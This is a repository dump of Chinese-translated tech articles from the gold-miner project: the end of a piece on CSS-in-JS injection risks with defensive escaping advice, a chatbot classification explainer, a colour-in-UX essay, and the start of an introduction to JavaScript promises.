IE9,有恶意用户试图以某种方式上传文件,并通过未转义的 prop 将关联的 `behavior` 属性注入到样式表中,然后 **恶意用户可以窃取 IE9 用户的帐户**。 我不打算进行相关展示,但请明白,这种类型的攻击之前已经广泛地发生过了。你可以在 [在 CSS 内部执行 JavaScript 脚本](http://www.diaryofaninja.com/blog/2013/10/30/executing-javascript-inside-css-another-reason-to-whitelist-and-encode-user-input) 一文中了解相关的详细信息。 ## 实际考虑 只要你遵循黄金法则,这些代码就不会成为问题。 ### 不要将用户的输入插入到样式表中。 当然,即使你无法将用户输入插入到样式中,你仍然可以将其用于无样式的 props 或将静态变量插入到样式中。 但是这引出了另一个问题:你如何知道样式组件上的哪些 props 可以安全地接受用户输入? ### 关注点分离 React 的一个重要特性是它允许你创建组件,便于 [关注点分离](https://reactarmory.com/answers/how-should-i-separate-components)。子组件不需要知道他们的 props 来自哪里。父组件不需要知道他们的孩子如何实现。组件是相互独立的,这样提高了它们的可维护性和可复用性。 Unsanitized props 打破了这一独立性 例如,考虑一个接受两个 props 的组件:一个是插入到样式表中的 unsanitized `theme` prop,另外一个是 `content` prop: ``` // `theme` 可以接受用户输入吗?`content` 可以接受用户输入吗? function MyComponent({ theme, content }) { return ( {content} ) } ``` 我们不能很快地根据组件的名字判断 `theme` 或 `content` 在样式表中使用时是否被处理过。事实上,即使看具体的实现我们也不能知道 `theme`是如何被使用的。 为了确保你的组件具有可复用性和可维护性,请使用一种在 props 不安全时清晰易懂的命名方案。例如: ``` // `unsanitizedTheme` 不能接受用户输入 // `content` 可以接受用户的输入 function MyComponent({ unsanitizedTheme, content }) { return ( {content} } ``` ### 别相信任何人 知道第三方库中的 prop 是否安全的唯一方法是研究并检查源代码。 例如,考虑第三方工具提示组件: ``` ``` 虽然你可以假定将用户输入传递给 `content` prop 是安全的,但在你检查源码之前你无法真正地知道其安全性。 你可能会觉得这是一个很勉强的例子,但实际上这是一个基于 styled-components 的流行 UI 工具包中 [报告](https://github.com/jxnblk/rebass/issues/318) 的安全问题。 你可以在 codesandbox 上查看这个问题的概念验证。 实际上,即使你使用的 UI 工具包目前是安全的,你也不能保证在执行 `npm upgrade` 后它仍然安全。 所以除非你建立的是一个不需要用户输入的静态网站,否则你应该完全避免在内部使用 CSS-in-JS 的第三方 UI 库。这是确保网站安全的唯一方法。 ### 但我需要基于用户输入添加样式... 基于用户输入添加样式的最安全的方法是使用旧的普通内联样式,即 style prop。你放在 `style` 对象中的任何东西都是安全的。 但是,如果内联样式不够,你需要使用 [CSS.escape](https://drafts.csswg.org/cssom/#the-css.escape%28%29-method) 手动转义用户的每一次输入。这个是一个相对新的标准,所以你需要使用 [polyfill](https://drafts.csswg.org/cssom/#the-css.escape%28%29-method)。 请记住,一个 unescaped prop 会给你带来麻烦。因此,如果你要插入任何包含用户输入的 props,唯一安全的方法就是在你的应用程序上转义所有的 prop。 ## 但这是一个后端的问题? 我听到过的一个借口是所有这些问题都是后端开发人员的错误; 他们应该在存储数据之前处理数据。当然,我是从一个前端开发人员那里听到的借口。 **安全问题关乎每个人**。虽然我们大多数人都尽力做正确的事情,对输入进行了恰当的处理,但我们都是人,是人就会犯错误。这就是为什么假设后端始终会提供干净的数据是不负责任的,同样假设前端能做到这样的事情也是不负责任的。 ## 但插入 JSX 可以吗? 可以。因为 **JSX 默认情况下不信任插入的字符串**。如果你使用 `dangerouslySetInnerHTML` prop,它只会让你在插入 HTML 时不安全 ,并传递 `{ __html: 'your_string' }` 格式的对象。 没有人想要将未经过滤的用户输入插入到 HTML。但是人会犯错误,这就是为什么 React 要求你明确地告知它直接插入的字符串是安全的。 目前,CSS-in-JS 不提供任何自动处理机制(但这里有 [讨论](https://github.com/styled-components/styled-components/issues/1105#issuecomment-325273993))。所以在它提供之前,请确保将任何插入的 props 命名为 `unsanitizedSomething`。 如果能完全避免使用插入的 props 是最好不过了。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-chat-bots-work.md ================================================ > * 原文地址:[Soul of the Machine: How Chatbots Work](https://medium.com/@gk_/how-chat-bots-work-dfff656a35e2) > * 原文作者:[George Kassabgi](https://medium.com/@gk_) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-chat-bots-work.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-chat-bots-work.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[lileizhenshuai](https://github.com/lileizhenshuai),[jasonxia23](https://github.com/jasonxia23) # 机器之魂:聊天机器人是怎么工作的 ![](https://cdn-images-1.medium.com/max/2000/1*HRgcOpW8vSPqM-GxkoHhWw.jpeg) 自早期的工业时代以来,人类就被能自主操作的设备迷住了。因为,它们代表了科技的“人化”。 而在今天,各种软件也在逐渐变得人性化。其中变化最明显的当属“聊天机器人”。 但是这些“机械”是如何运作的呢?首先,让我们回溯过去,探寻一种原始,但相似的技术。 ### 音乐盒是如何工作的 ![](https://cdn-images-1.medium.com/max/1600/1*PveiqDdv2Zsog9ryJTUz-Q.png) 早期自动化的样例 —— 机械音乐盒。 一组经过调音的金属齿排列成梳状结构,置于一个有针的圆柱边上。每根针都以一个特定的时间对应着一个音符。 当机械转动时,它便会在预定好的时间通过单个或者多个针的拨动来产生乐曲。如果要播放不同的歌,你得换不同的圆柱桶(假设不同的乐曲对应的特定音符是一样的)。 除了发出音符之外,圆筒的转动还可以附加一些其它的动作,例如移动小雕像等。不管怎样,这个音乐盒的基本机械结构是不会变的。 ### 聊天机器人是如何工作的 输入的文本将经过一种名为“分类器”的函数处理,这种分类器会将一个输入的句子和一种“意图”(聊天的目的)联系起来,然后针对这种“意图”产生回应。 ![](https://cdn-images-1.medium.com/max/1600/1*aSGRi9NOM3J5vT2fMlo5ig.png) [一个聊天机器人的例子](http://lauragelston.ghost.io/speakeasy/) 你可以将分类器看成是将一段数据(一句话)分入几个分类中的一种(即某种意图)的一种方式。输入一句话“how are you?”,将被分类成一种意图,然后将其与一种回应(例如“I’m good”或者更好的“I am well”)联系起来。 我们在基础科学中早学习了分类:黑猩猩属于“哺乳动物”类,蓝鸟属于“鸟”类,地球属于“行星”等等。 一般来说,文本分类有 3 种不同的方法。可以将它们看做是为了一些特定目的制造的软件机械,就如同音乐盒的圆筒一样。 ### **聊天机器人的文本分类方法** - **模式匹配** - **算法** - **神经网络** 无论你使用哪种分类器,最终的结果一定是给出一个回应。音乐盒可以利用一些机械机构的联系来完成一些额外的“动作”,聊天机器人也如此。回应中可以使用一些额外的信息(例如天气、体育比赛比分、网络搜索等等),但是这些信息并不是聊天机器人的组成部分,它们仅仅是一些额外的代码。也可以根据句子中的某些特定“词性”来产生回应(例如某个专有名词)。此外,符合意图的回应也可以使用逻辑条件来判断对话的“状态”,以提供一些不同的回应,这也可以通过随机选择实现(好让对话更加“自然”)。 ### 模式匹配 早期的聊天机器人通过模式匹配来进行文本分类以及产生回应。这种方法常常被称为“暴力法”,因为系统的作者需要为某个回应详细描述所有模式。 这些模式的标准结构是“AIML”(人工智能标记语言)。这个名词里用了“人工智能”作为修饰词,但是[它们完全不是一码事](https://medium.com/@gk_/the-ai-label-is-bullshit-559b171867ff)。 下面是一个简单的模式匹配定义: ``` WHO IS ALBERT EINSTEIN WHO IS Isaac NEWTON DO YOU KNOW WHO * IS ``` 然后机器经过处理会回答: Human: Do you know who Albert Einstein is Robot: Albert Einstein was a German physicist. 它之所以知道别人问的是哪个物理学家,只是靠着与他或者她名字相关联的模式匹配。同样的,它靠着创作者预设的模式可以对任何意图进行回应。在给予它成千上万种模式之后,你终将能看到一个“类人”的聊天机器人出现。 2000 年的时候,John Denning 和他的同事就以这种方法做了个聊天机器人([相关新闻](http://mashable.com/2014/06/12/eugene-goostman-turing-test/)),并通过了“图灵测试”。它设计的目标是模仿来自乌克兰的一个 13 岁的男孩,这孩子的英语水平很蹩脚。我在 2015 年的时候和 John 见过面,他没有矢口否认这个自动机的内部原理。因此,这个聊天机器人很可能就是用“暴力”的方法进行模式匹配。但它也证明了一点:在足够大的模式匹配定义的支持下,可以让大部分对话都贴近“自然”的程度。同时也符合了图灵(Alan Turing)的断言:制作用来糊弄人类的机器是“毫无意义”的。 使用这种方法做机器人的典型案例还有 [PandoraBots](http://www.pandorabots.com/),他们宣称已经用他们的框架构建了超过 28.5 万个聊天机器人。 ### 算法 暴力穷举法做自动机让人望而却步:对于每个输入都得有可用的模式来匹配其回应。人们由“老鼠洞”得到灵感,创建了模式的层级结构。 我们可以使用**算法**这种方法来减少分类器以便对机器进行管理,或者也可以说我们为它创建一个方程。这种方法是计算机科学家们称为“简化”的方法:问题需要**缩减**,那么解决问题的方法就是将其简化。 有一种叫做“朴素贝叶斯多项式模型”的经典文本分类算法,你可以在[这儿](http://nlp.stanford.edu/IR-book/pdf/13bayes.pdf)或者别的地方学习它。下面是它的公式: ![](https://cdn-images-1.medium.com/max/1600/1*sj0TmP9mH6GEE9z3XAJYYA.png) 实际用起它来比看上去要简单的多。给定一组句子,每个句子对应一个分类;接着输入一个新的句子,我们可以通过计算这个句子的单词在各个分类中的词频,找出各个分类的共性,并给每个分类一个**分值**(找出共性这点是很重要的:例如匹配到单词“cheese”(奶酪)比匹配到单词“it”要有意义的多)。最后,得到最高分值的分类很可能就是输入句子的同类。当然以上的说法是经过简化的,例如你还得先找到每个单词的[词干](https://en.wikipedia.org/wiki/Stemming)才行。不过,现在你应该对这种算法已经有了基本的概念。 下面是一个简单的训练集: class: weather "is it nice outside?" "how is it outside?" "is the weather nice?" class: greeting "how are you?" "hello there" "how is it going?" 让我们来对几个简单的输入句子进行分类: input: "Hi there" term: "hi" (**no matches)** term: "there" **(class: greeting)** classification: **greeting **(score=1) input: "What’s it like outside?" term: "it" **(class: weather (2), greeting)** term: "outside **(class: weather (2) )** classification: **weather **(score=4) 请注意,“What’s it like outside”在分类时找到了另一个分类的单词,但是正确的分类给了单词较高的分值。通过算法公式,我们可以为句子计算匹配每个分类对应的词频,因此不需要去标明所有的模式。 这种分类器通过标定分类分值(计算词频)的方法给出最匹配语句的分类,但是它仍然有局限性。分值与概率不同,它仅仅能告诉我们句子的意图最有可能是哪个分类,而不能告诉我们它的所有匹配分类的可能性。因此,很难去给出一个阈值来判定是接受这个得分结果还是不接受这个结果。这种类型的算法给出的最高分仅仅能作为判断相关性的基础,它本质上作为分类器的效果还是比较差的。此外,这个算法不能接受 *is not* 类型的句子,因为它仅仅计算了 *it* 可能是什么。也就是说这种方法不适合做为包含 *not* 的否定句的分类。 有许多的聊天机器人框架[都是用这种方法来判断意图分类](https://medium.com/@gk_/text-classification-using-algorithms-e4d50dcba45#.ewnhttxa4)。而且大多数都是针对训练集进行词频计算,这种“幼稚”的方法有时还意外的有效。 ### 神经网络 人工神经网络发明于 20 世纪 40 年代,它通过迭代计算训练数据得到连接的加权值(“突触”),然后用于对输入数据进行分类。通过一次次使用训练数据计算改变加权值以使得神经网络的输出得到更高的“准确率”(低错误率)。 ![](https://cdn-images-1.medium.com/max/1600/1*HULATc7wX7CtzybTIxgBvQ.png) 上图为一种神经网络结构,其中包括神经元(圆)和突触(线) 其实除了当今的软件可以用更快的处理器、更大的内存外,这些结构并没有出现什么新奇的东西。当做数十万次的矩阵乘法(神经网络中的基本数学运算)的时候,运行内存和计算速度成为了关键问题。 在前面的方法里,每个分类都会给定一些例句。接着,根据词干进行分句,将所有单词作为神经网络的输入。然后遍历数据,进行成千上万次迭代计算,每次迭代都通过改变突触权重来得到更高的准确率。接着反过来通过对训练集输出值和神经网络计算结果的对比,对各层重新进行计算权重(反向传播)。这个“权重”可以类比成神经突触想记住某个东西的“力度”,你能记住某个东西是因为你曾多次见过它,在每次见到它的时候这个“权重”都会轻微地上升。 有时,在权重调整到某个程度后反而会使得结果逐渐变差,这种情况称为“过拟合”,在出现过拟合的情况下继续进行训练,反而会适得其反。 ![](https://cdn-images-1.medium.com/max/1600/1*QckgibgJ74BhMaqinqwSDw.png) 训练好的神经网络模型的代码量其实很小,不过它需要一个很大的潜在权重矩阵。举个相对较小的样例,它的训练句子包括了 150 个单词、30 种分类,这可能产生一个 150x30 大小的矩阵;你可以想象一下,为了降低错误率,这么大的一个矩阵需要反复的进行 10 万次矩阵乘法。这也是为什么说需要高性能处理器的原因。 神经网络之所以能够做到既复杂又稀疏,归结于[矩阵乘法](https://www.khanacademy.org/math/precalculus/precalc-matrices/multiplying-matrices-by-matrices/v/matrix-multiplication-intro)和一种[缩小值至 -1,1 区间的公式](https://en.wikipedia.org/wiki/Sigmoid_function)(即激活函数,这里指的是 Sigmoid),一个中学生也能在几小时内学会它。其实真正困难的工作是清洗训练数据。 就像前面的模式匹配和算法匹配一样,神经网络也有各种各样的变体,有一些变体会十分复杂。不过它的基本原理是相同的,做的主要工作也都是进行分类。 ![](https://cdn-images-1.medium.com/max/1600/1*_ldEr2WurmqNq6Pgp5J24w.jpeg) 机械音乐盒并不了解乐理,同样的,**聊天机器人并不了解语言**。 聊天机器人实质上就是寻找短语集合中的模式,每个短语还能再分割成单个单词。在聊天机器人内部,除了它们存在的模式以及训练数据之外的**单词其实并没有意义**。为这样的“机器人”贴上“人工智能”的标签其实[也很糟糕](https://medium.com/@gk_/the-ai-label-is-bullshit-559b171867ff#.3tlhftemt)。 总结:聊天机器人就像机械音乐盒一样:它就是**一个根据模式来进行输出的机器**,只不过它不用圆筒和针,而是使用软件代码和数学原理。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF)、[后端](https://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF)、[产品](https://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81)、[设计](https://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-color-affects-ux-and-behavior.md ================================================ > * 原文地址:[ How Color Affects UX And Behavior](https://blog.prototypr.io/how-color-affects-ux-and-behavior-c242c895a8a4#.1p7zujou5) * 原文作者:[Proto.io](https://blog.prototypr.io/@protoio?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Jiang Haichao](https://github.com/AceLeeWinnie) * 校对者:[王子建](https://github.com/Romeo0906), [Tina92](https://github.com/Tina92) # 色彩如何影响 UX 和用户行为 色彩:设计得当时你可能从未关注过它 - 但是设计不得当时呢?无论是过亮且灼眼的背景,或者暗灰色背景下的黑色文字,还是以次充好的色彩选择都足以毁掉一款功能强大的 app。如同设计的其他方面,色彩不仅仅是为 app 锦上添花。色彩与用户体验的其他方面一样,也可以是一种工具。 用于设计 app 的图形 [设计哲学](http://blog.proto.io/10-of-the-best-design-philosophies-of-all-time/) - 从元素尺寸,滑动方式,当然也包括色彩 - 都在影响着用户的行为。因此,设计师通常在项目前期用几个月的时间搭配色彩而不是设计布局。 选择颜色搭配的区别就在于,完美的色彩搭配能设计出一个能让用户感到放松并沉浸于此的 app,糟糕的色彩搭配会让用户有拿手机砸墙的冲动。以银行业务的 app 来看,糟糕的颜色搭配会让你每次查余额时都非常紧张,而完美的色彩搭配能够缓解你的焦虑,比如马上要清付下一次账单了。 那怎么才能设计得当 - 即如何在你的设计里掌握色彩呢? ### 图形设计哲学:色彩理论 在深入图形设计哲学(和心理学!)之前,需要了解一些色彩和设计的基本原则。虽然色彩看起来不是一门非常复杂的学问,但我们仍然有理由让每堂艺术课不光教授如何使用色彩,还要教授如何 **创造** 色彩。 基本原则 - 拿色盘来说 -很简单:原色(红,黄,蓝)可以结合调出二级颜色(绿,紫,橙)。同样地,不同分量的白色加到颜色里,能调出浅色,不同分量的黑色能调出深色。 实现图形设计哲学的时候,色盘将会是一个不可或缺的重要工具。 对角线上的两个颜色(如红色和绿色,蓝色和橘色)是互补色。这些颜色反差强烈,放在其互补色颜色旁边(或之上)时十分突出。相邻的两个颜色是类似色。这些颜色对比度低,放在一起并不突出。 颜色对比度的高低没有绝对的 ”正确“ 和 ”错误“。有时一个应用需要强对比的亮色组合。有时,又需要温和一些。一般来说,越想要突出的东西,越需要强对比度。 感受色彩组合是否搭配的最好方法就是亲身体验。即便你手头没有项目,快速旋转 [Adobe 色盘](https://color.adobe.com/) 也许会让你对色彩有新的认识。 ### 情感色板:色彩心理学 巩固 app 的图形设计哲学史,你不应只考虑外观 - 你必须要思考它们给你的感受。我们说的不是触觉反馈。自从 Johann Wolfgang Goethe 研究 [色彩对生理学影响](http://www.arttherapyblog.com/online/color-therapy-healing-an-introduction/) 以来,我们着迷于用颜色产生生理和情感效果。 甚至今天,色彩在许多品牌的设计哲学中都占有主导地位。医疗,商业,和政府都倾向于使用蓝色,因为蓝色给人一种值得信任和专业的感觉。绿色看起来更年轻富有活力 - 当然,还反映了环境主义和亲近自然的感觉。红色是精力充沛和冲动的象征,给人速度,效率和力量的印象。我们看到的每个颜色(当然每个颜色本身都会与特定品牌相联系)都暗示了一些东西,直接或间接地,影响着我们对于独立品牌的看法。 你能认出的品牌和标识都是以颜色为中心的。Apple、Wikipedia、 New York Times,在这些品牌里灰色是主色,灰色象征着沉着可靠。这些品牌被视为和谐可靠的。全部食品品牌,John Deere,和 Starbucks 的标识均以暗绿色为主色,把自然、有益身心健康和他们的品牌产品联系起来。 许多颜色甚至超越了品牌自身,定义了整个行业。例如,想一下有多少快餐或连锁餐厅品牌色是红色或黄色的。这些颜色触发精神开关,让我们从心理上自愿购买一些商品。 当经销商很久以前就摸透个中道理时,科学也证明了我们关于颜色的一些共同感受。比如,红色能够让人 [反应更快速]((http://theweek.com/articles/484145/4-surprising-facts-about-color-red)) 或者对特定的刺激产生强烈的反应。红色也可能会变得危险:研究者发现考试者看到红色的时候,[正确率会降低](https://www.sciencedaily.com/releases/2007/02/070228170240.htm)。 更不可思议的是,药片的颜色对药效也有轻微的影响。蓝色药片最合适做镇静剂,黄色最适合做抗抑郁的药,在所有案例中,[亮色的药片药效最好](http://www.theatlantic.com/health/archive/2014/10/the-power-of-drug-color/381156/)。虽然这更像是安慰剂,影响我们增大了对药力的反应,但这影响已足以使制药厂在生产新药时把颜色作为考虑条件之一。 现在,并不是说在记录心情的 app 中使用黄色基调就能有效地消除抑郁,而是你选择的色彩搭配有理由认为能够影响用户心情 - 所以请谨慎选择。 ### 色彩与用法 设计不仅是为了好看 - 还有功能和实用性,这两条原则对任何 UX 设计师来说都可以说是最重要的。如果 UX 不流畅,你选择的色彩搭配再怎么完美,UI 再怎么酷炫都没用。如果用户不能高效地使用,当然也不会想留下来。 那么色彩在其中又能起到什么作用呢? 简单来说:色彩是能帮助引导视线的工具。如果颜色使用得当,能够引导新用户快速学会使用你的 app,不需要长时间的新手教程,一系列复杂的视频,甚至不需要一个字。一个使用简便的 UI 不只能引导用户注意 - 还能引导用户全身心互动。 一幅彩铅围成圈的黑白照片,只有笔尖部分有颜色。 试想一下,你正在为一家餐饮公司开发一款 app,提供方便大型机构订餐的服务。一个潜在客户第一次下载了你的应用并打开它。他们会看到什么? 在这个 app 里,大多数菜单项 - 包括背景和其他信息栏 - 都用柔和暗淡的灰色调配色填色。唯一例外的是一个橘红色的写着 “点单” 的方框。作为设计师,你知道大多数使用这款 app 的用户都希望轻松地设置食物订单。你要把这个标志放到显眼的位置,而不是把这个特点隐藏到 app 深处,或者需要用户滚动到页面底部才能看到。不只是这样,你还需要让用户立即注意到这个按钮。颜色能帮助实现这些目的,还能给新用户准确的引导,知道需要到哪里去。 同样地,我们每天都在生活的方方面面中都在和颜色打交道,在心里构建社会联系。例如,红绿灯:绿灯行,红灯停,黄灯慢行(或者提醒我们前面有情况)。黄色代表重要警告,红色代表强调,你能够有力地传达信息并提醒用户为他们的输入做好准备。 另外,该逻辑不光可以用于警告界面。 改变 app 内购买按钮的颜色显然会显著影响 [转化率](http://blog.hubspot.com/blog/tabid/6307/bid/20566/The-Button-Color-A-B-Test-Red-Beats-Green.aspx)。HubSpot 发现把绿色按钮变成红色按钮后,转化率轻松上升了 21%。此时,虽然不意味着要把每个 app 内购买按钮调成亮色,但却表明了颜色不仅是设计哲学的一部分:应该是整个 app 开发哲学的核心。 我们甚至在强调色的选择上尝试挖掘软色调。色彩和阴影是优化图形设计哲学的最好的方式。 ### 聪明地使用颜色:设计与可访问性哲学 在 Proto.io,[可访问性](http://blog.proto.io/the-beginners-guide-to-accessible-mobile-ui-design/) 一直在我们设计哲学的重点。可访问性是好设计必过的一关。如果可访问性不通过,那么就不是一个好设计。 大约 8% 的男人和 0.5% 的女人有不同形式的 [色盲](http://www.colourblindawareness.org/)。与常见观点不同的是,没有单色色盲,红绿色盲是最常见的。红绿色盲患者通常分辨不清红色和绿色。红绿色盲程度不同,甚至轻微的红绿色盲在使用一些 app 的时候都有明显的障碍。 除了色盲,近视眼用户有时无法阅读低对比度的文字,除非把屏幕靠近一些 - 这潜在地破坏了一些 app 的可用性。 所有这些问题的解法相当简单:展示文字时避免使用低对比度的背景颜色。当你不能保证每个人都能按照你设计的方式浏览 app 时,如果你使用对比色,至少应用是可用的。类似的,强对比色的文字对任何人来说都便于阅读 - 甚至在有视觉障碍时。 另一个提高可访问性的可选项是在 app 中提供可改变的主题色。虽然不是每个人都会用的,但是这能很好的提升 app 的可用性。你也可以允许用户改变特定功能的颜色。例如,你可以有个开关改变 app 的部分颜色,或者整个 app 的文字颜色。把这些颜色的控制权交给用户,你的 app 会对更多用户来说都具有良好的可用性。 如果你仍然不清楚如何在可访问性与设计哲学的色彩之间寻找一个平衡,建议你看看 Google 的 [material design library](https://material.google.com/usability/accessibility.html#accessibility-color-contrast)。 ### 选择完美的色盘:固化你的设计哲学 即使确实有一些颜色选择时必须要遵守的规则,它也不是必要的。色彩通常是抽象的东西,像一种感觉。即使你的 app 不是为了在用户身上表明情绪,也不代表它不会。当发现黑白色并不是完美色盘的时候,我们建议使用不同深度的灰色。 用灰色渐变色构建 app 的平面原型并且作为基本准则。记住它的展示和给你的感受:传达给 QA 团队,关注他们的说法。你的新手培训是否灰暗无色?你是否错误关注到了应用的其他部分?带着这些反馈,再设计更多的原型,这次加上颜色。别依赖单色色盘。并且,从 Google 的 [material design](https://material.google.com/style/color.html) 网站获得提示,考虑它提供的色盘。 这个人的图形设计哲学是添加一个醒目的红色元素。 把修订版本也发送给 QA。不要担心对两个版本进行 A/B 测试(然后推翻原始灰度版本)。确保在讨论阶段提出了关于色彩值得探讨的问题。你是否在 app 中使用颜色引导用户注意?你是否为了添加闪光就向屏幕随便扔了个颜色?色彩是否分散了用户的注意力? 别忘了用户哲学和可访问性。如果你在开发一款旅游应用,你真的希望所有内容都是亮红色的吗?如果你在开发一款健康应用,你的背景色必须是绿色吗?文字的色彩对比是否足够了? 好的 UX 设计会把这些问题一并考虑在内 - 毕竟,色彩对用户行为和使用舒适度都有绝对影响。如果你的设计哲学还没把这些问题考虑在内,设计出来的 app 并没有你认为的好用和无障碍。确保按步骤设计你的原型,别拘泥于一个或两个颜色。通过实验选择其他颜色,并重复实验,直到完善你的色盘。 **Proto.io 使得构建手机应用原型变得真实。无需编程或者设计技巧基础。得以快速实现想法!** 今天 [注册 Proto.io 获得 15 天试用](http://proto.io/) 并开始你的下一个手机应用设计。 ================================================ FILE: TODO/how-do-promises-work.md ================================================ > * 原文链接 : [How do Promises Work? - Quils in Space](http://robotlolita.me/2015/11/15/how-do-promises-work.html) * 原文作者 : [Quil](http://robotlolita.me/about/index.html) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Zhangjd](https://github.com/Zhangjd) * 校对者: [zxc0328](https://github.com/zxc0328)、[Aaaaaashu](https://github.com/Aaaaaashu) * 状态 : 完成 # Promise 是如何工作的? ## 目录 ## 1\. 入门介绍 大部分的JavaScript实现都是单线程的,并且考虑到语言的语义,人们倾向于使用 _callbacks_ (回调函数)来管理并行的过程。在JavaScript中,虽然使用 [Continuation-Passing Style(后继传递格式)](http://matt.might.net/articles/by-example-continuation-passing-style/) 并没有什么明显的过错, 但实际上,这样做会非常容易让代码变得难以阅读和更加程序化(比起它本应有的样子)。 关于这一问题,人们已经提出了很多建议,在这当中,使用promise来让这些并行过程同时进行就是其中之一。 在这篇博文中我们将看到什么是promise,它是怎样工作的,为什么你应该/不该使用它们。 > **备注** 这篇文章假定读者至少熟悉高阶函数、闭包和回调(continuation-passing style)。 或许缺少这些知识,你也能从本文收获到一些什么,但是还是建议你先了解清楚这些概念,再回来读这篇文章。 ## 2\. 从概念上理解Promise 在一开始,让我们先来回答一个非常重要的问题: “到底什么是promise?” 要回答这个问题,我们先来看一个现实生活中很常见的情景。 ### 插曲: 讨厌排队的姑娘 ![](http://robotlolita.me/files/2015/09/promises-01.png) _女生们想要在一个热闹的餐馆里吃晚餐。_ Alissa P. Hacker 和她的女性朋友决定到一个非常受欢迎的餐馆吃晚餐。 不幸的是,正如预想的那样,当她们到达的时候所有的餐桌都被占用了。 在一些地方,这意味着她们要不选择放弃,要不选择去别的地方吃,又或者在这排长队,直到有空桌。 但是还好,这个地方给讨厌排队的Alissa提供了完美的解决方法。 > “这是一个有魔力的装置,它代表着你未来的餐桌……” ![](http://robotlolita.me/files/2015/09/promises-02.png) _代表着未来餐桌的装置。_ “别担心,亲爱的,只要拿着这款装置,它会帮你处理好一切。” 餐厅里的女士手里拿着一个小盒子对她说。 “这是啥……?” Alissa的朋友,Rue Bae问。 “这是一个有魔力的装置,它代表着你在这家餐厅里将来的餐桌,” 女士一边说,一边示意Bae, “其实里面并没有魔力,但是当排到你的时候,它会通知你们,然后你们就可以过来用餐了。” 她低声说道。 ### 2.1\. 什么是Promises? 就像那个“有魔力的”装置可以代表着你未来在餐厅里的餐桌,promise的存在,就是为了代表将会在未来发生的_某些事情_。 在编程语言中,这指的就是值(values)。 ![](http://robotlolita.me/files/2015/09/promises-03.png) _放进整个苹果,出来的是苹果片_ 在同步的世界里,当想到函数时,我们很容易理解计算: 你把输入放进函数里,函数就会给出一些内容作为输出。 这种 _输入输出_ 的模型很容易理解,大部分程序员对此也非常熟悉。 所有JavaScript的句法结构与内建功能,都假设你的函数会跟随这一模型。 可是这一模型有一个大问题: 当我们要给函数提供了输入,为了让我们获得想要的输出,我们需要一直坐等直到函数完成它的工作。 但是理想情况是:我们想要在这段时间内尽量多做点别的事情,而不光是坐着等待。 为了解决这种问题,promise被提了出来,我们会立刻取得某种表示形式来代表这个值,而不需要一直等到最终结果出来。 我们可以继续我们的生活,然后在某个时间点,回来取得我们所需要的值。 > Promise是最终结果的表示形式。 ![](http://robotlolita.me/files/2015/09/promises-04.png) _放进整个苹果,随后出来一张苹果切片的票据。_ ### 插曲: 执行顺序 现在我们希望明白什么是promise,我们可以看看promise是怎么帮助我们更容易写并行程序的。 但在这之前,让我们先后退一步,思考一个更基本的问题: 程序代码的执行顺序。 作为一个JavaScript程序员,你可能已经注意到,你的程序以一种非常特殊的顺序执行,恰好是你在程序源码中所写指令的顺序: ``` var circleArea = 10 * 10 * Math.PI; var squareArea = 20 * 20; ``` 如果我们执行这个程序,首先我们的JavaScript虚拟机会运行计算`circleArea`,一旦计算完成,再执行`squareArea`的计算。 换句话说,我们的程序会告诉机器,“做这个,再做那个,然后再做那个……” > **问题时间!** 为什么我们的机器一定要先计算 `circleArea` 再计算 `squareArea`? 如果我们颠倒顺序或者同时执行,会产生什么问题呢? 事实证明,按顺序执行每样东西的代价是很高的。如果 `circleArea` 花费太多时间,我们将会阻塞 `squareArea` 执行直到前者完成。实际上,对于这一个例子,我们选择什么样的顺序都没问题,结果是一样的。我们程序中可以任意调整这个顺序。 > […] 按顺序执行的代价是非常高的。 我们想要我们的计算机做更多事情,并且要做得更 _快_。 为了做到这样,首先我们完全去掉执行顺序。换言之,我们假设在我们的程序中所有表达式在同一时间执行。 这个方法很适合我们之前的例子。但是当我们做一点细微改变的时候,问题就来了: ``` var radius = 10; var circleArea = radius * radius * Math.PI; var squareArea = 20 * 20; print(circleArea); ``` 如果我们没有遵循任何顺序,怎么做到组合其他表达式计算的值呢? 好吧,我们办不到,因为没办法保证当我们需要用到值的时候,它已经被计算出来。 来换种方法,在我们程序中,唯一的顺序被定义为表达式的组件之间的相互依赖关系。在本质上,这意味着一旦表达式的组件计算好了,就可以马上执行,即使其它内容还在执行中。 ![](http://robotlolita.me/files/2015/09/promises-05.png) _我们的简单例子里的依赖关系图。_ 不是非要声明我们执行程序时应该用哪种顺序,我们只需要定义好每一个计算是如何相互依赖的。 手里拿着这些数据,电脑可以创建如上的依赖关系图,并自己推断出最高效执行程序的方式。 > **有趣的事实!** 